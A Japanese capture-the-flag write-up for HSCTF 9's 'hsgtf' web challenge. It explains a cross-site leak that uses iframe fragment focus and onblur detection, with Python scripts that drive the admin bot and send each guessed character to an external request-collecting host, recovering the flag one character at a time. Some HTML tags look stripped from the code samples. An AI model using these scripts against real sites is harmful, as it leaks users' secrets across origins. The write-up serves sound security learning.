Rating:

# hsgtf:web:489pts
Why solve challenges when you can just guess the flag?
[http://web1.hsctf.com:8001/](http://web1.hsctf.com:8001/)
**Note: Your target is only the linked website; do not actually attempt to guess flags on the HSCTF challenge platform.**
Downloads
[hsgtf.zip](hsgtf.zip)

# Solution
URLとソースが配布される。
hsgtf
[site1.png](site/site1.png)
flagをguessしろといわれるが、私はエスパーではないので難しい。
謎のURL報告機能も付いており、Adminが見てくれるようだ(ドメインの制限はなく、httpのみのスキーム制限がある)。
Report
[site2.png](site/site2.png)
ソースを見てみると以下のようであった。
```python
import os
import re
from flask import Flask, render_template, request

app = Flask(__name__)
USER_FLAG = os.environ["USER_FLAG"]
ADMIN_FLAG = os.environ["FLAG"]
ADMIN_SECRET = os.environ["ADMIN_SECRET"]

@app.route("/guess")
def create():
if "guess" not in request.args:
return "No guess provided", 400
guess = request.args["guess"]

if "secret" in request.cookies and request.cookies["secret"] == ADMIN_SECRET:
flag = ADMIN_FLAG
else:
flag = USER_FLAG

correct = flag.startswith(guess)
return render_template("guess.html", correct=correct, guess=guess)

@app.route("/")
def index():
return render_template("index.html")

if __name__ == "__main__":
app.run()
```
単純な実装であり、入力とflagの先頭からを比較し結果を返してくれる。
一致していた場合は
![image1.png](images/image1.png)
一致していない場合は
![image2.png](images/image2.png)
となる。
単純にflagを取得することができるが、ソースによるとこれは`USER_FLAG`のようである。
`ADMIN_FLAG`が取得したいが、`ADMIN_SECRET`は持っていない。
`ADMIN_FLAG`のguessのためにcookieに`ADMIN_SECRET`が入っていることを要求していることからも、Admin Botには設定されていると考えられる。
つまり、Admin Botにflagをguessさせた結果を取得しなければならない。
URL報告機能からは結果は何も帰ってこないために、XS-Leaks的な手法が必要とされる。
報告機能にドメインの制限はないため、iframeなどで何か読み取れるかもしれない。
おそらく`USER_FLAG`と`ADMIN_FLAG`のふるまいに違いはないため、`USER_FLAG`でguessした場合の結果を調査する。
サイトのソースは以下のようであった。
一致していた場合
```html

<html>
<head>
<meta charset="utf-8" />
<meta http-equiv="X-UA-Compatible" content="IE=edge" />
<title>Create Page</title>
<meta name="viewport" content="width=device-width, initial-scale=1" />
<link rel="stylesheet" href="/static/index.css" />
</head>
<body>

<div id="correct">
<h1>Correct!</h1>

The flag starts with: "flag{"


Continue Guessing
</div>

</body>
</html>
```
一致していない場合
```html

<html>
<head>
<meta charset="utf-8" />
<meta http-equiv="X-UA-Compatible" content="IE=edge" />
<title>Create Page</title>
<meta name="viewport" content="width=device-width, initial-scale=1" />
<link rel="stylesheet" href="/static/index.css" />
</head>
<body>

<div id="wrong">
<h1>Wrong!</h1>

Your guess was: "flagO"


Try Again
</div>

</body>
</html>
```
サイズもあまり変わらないため、読み込みスピードなどもほぼ同じである。
`id="correct"`と`id="wrong"`が変化しており、aタグの`id="continue"`と`id="tryagain"`も変化している。
idでのリークはフラグメント識別子によるiframeのフォーカスの移り変わりを検知する手法が[知られている](https://xsleaks.dev/docs/attacks/id-attribute/)。
今回でいえば、iframeのURLに`#continue`と指定すると、一致していた場合にフォーカスがiframeの中の`id="continue"`に移り、一致していない場合は`id="tryagain"`のみであるためフォーカスが映らない。
これを外部のあらかじめフォーカスしておいた要素の`onblur`(フォーカスが離れた際に発生するイベント)で検知するといった手法である。
一致(`flag{`)をリークするHTMLは以下のようになる。
リークの受信は[RequestBin.com](https://requestbin.com/)を用いた。
```html
<html>
<body>
satoki
<script>
document.getElementById("satoki").focus();
var ifr = document.createElement("iframe");
ifr.src = "http://web1.hsctf.com:8001/guess?guess=flag{#continue";
document.body.appendChild(ifr);
</script>
</body>
</html>
```
`flag{`を`flagO`にするとリクエストが飛ばなくなることがわかる。
これをAdmin Botに踏ませればよいが、puppeteerなどを使っていると初回アクセス時にURLバーにフォーカスしてしまい、うまくいかない。
`windows.open`でいくつか開いてやることにする。
手動でアルファベットすべてのiframeを作成するのは面倒なので、以下のleak.pyで自動化する。
```python
from flask import Flask, request

app = Flask(__name__)

my_server = "https://xxxxxxxxxxxxx.x.pipedream.net"

@app.route("/<flag>")
def leak(flag):
w_open = ""
if request.args.get("open") is None:
w_open = f"window.open('/{flag}?open');"
return f"""
<html>
<body>
satoki
<script>
{w_open * 10}
document.getElementById("satoki").focus();
var ifr = document.createElement("iframe");
ifr.src = "http://web1.hsctf.com:8001/guess?guess={flag}#continue";
document.body.appendChild(ifr);
</script>
</body>
</html>
"""

if __name__ == "__main__":
app.run(debug=False, host="0.0.0.0", port=80)
```
これを自身のサーバ(ex.`http://leakpy.satoki`)でホスティングする。
このサーバにAdmin Botをアクセスさせるために、URLを報告するスクリプトcpost.pyを以下のようにする。
```python
import time
import requests

flag = ""
my_leakpy_server = "http://leakpy.satoki"

MAX_POST = 2
for c in "_{}abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789":
for _ in range(MAX_POST):
res = requests.post("http://web1.hsctf.com:8000/hsgtf", data={"url": f"{my_leakpy_server}/{flag + c}"})
time.sleep(1)
#print(res.status_code)
#print(res.text)
```
リークリクエストを受信するごとに、変数`flag`へ一文字ずつ追加していく。
POSTリクエストはAdmin Botが不安定であったため、`MAX_POST`回行う設定になっている。
複数回実行すると以下のようにflagが一文字ずつ取得できる(下から上の順)。
![image3.png](images/image3.png)
最終的に`/?s=flag{guessgod_nkdtcfpoghau}`を受け取り、これがflagであった。
GuessTheFlag……

## flag{guessgod_nkdtcfpoghau}

Original writeup (https://github.com/satoki/ctf_writeups/tree/master/HSCTF_9/hsgtf).